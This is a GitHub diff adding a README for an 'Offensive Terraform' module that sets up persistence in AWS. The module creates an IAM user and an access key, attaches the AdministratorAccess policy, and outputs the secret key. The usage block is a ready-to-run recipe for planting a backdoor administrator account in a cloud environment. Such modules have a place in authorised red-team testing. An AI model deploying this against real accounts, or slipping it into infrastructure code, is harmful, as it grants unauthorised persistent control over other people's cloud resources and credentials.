File tree Expand file tree Collapse file tree 1 file changed +37
-1
lines changed Expand file tree Collapse file tree 1 file changed +37
-1
lines changed Original file line number Diff line number Diff line change 1- # terraform-aws-iam-create-user-persistence
1+ # AWS IAM Create User Persistence
2+
3+ ![ OffensiveTerraform] ( https://img.shields.io/badge/hack-success )
4+ ![ OffensiveTerraform] ( https://img.shields.io/badge/offensive-terraform-blueviolet )
5+ ![ OffensiveTerraform] ( https://img.shields.io/badge/aws-important )
6+
7+ Offensive Terraform module which creates IAM user, access key then attaches managed IAM Policy to an IAM user.
8+
9+ ![ Attack Diagram] ( https://raw.githubusercontent.com/offensive-terraform/terraform-aws-iam-create-user-persistence/master/diagram.jpg )
10+
11+ ## Usage
12+ ```
13+ module "terraform-aws-iam-create-user-persistence" {
14+ source = "offensive-terraform/terraform-aws-iam-create-user-persistence/aws"
15+
16+ user_name = "test"
17+ policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
18+ }
19+
20+ output "aws_iam_user" {
21+ value = module.terraform-aws-iam-create-user-persistence.aws_iam_user
22+ }
23+
24+ output "aws_iam_user_policy_arn" {
25+ value = module.terraform-aws-iam-create-user-persistence.aws_iam_user_policy_arn
26+ }
27+
28+ output "access_key" {
29+ value = module.terraform-aws-iam-create-user-persistence.access_key
30+ }
31+
32+ output "secret_key" {
33+ value = module.terraform-aws-iam-create-user-persistence.secret_key
34+ }
35+ ```
36+ ## Author
37+ Module managed by https://github.com/iganbold
You can’t perform that action at this time.
0 commit comments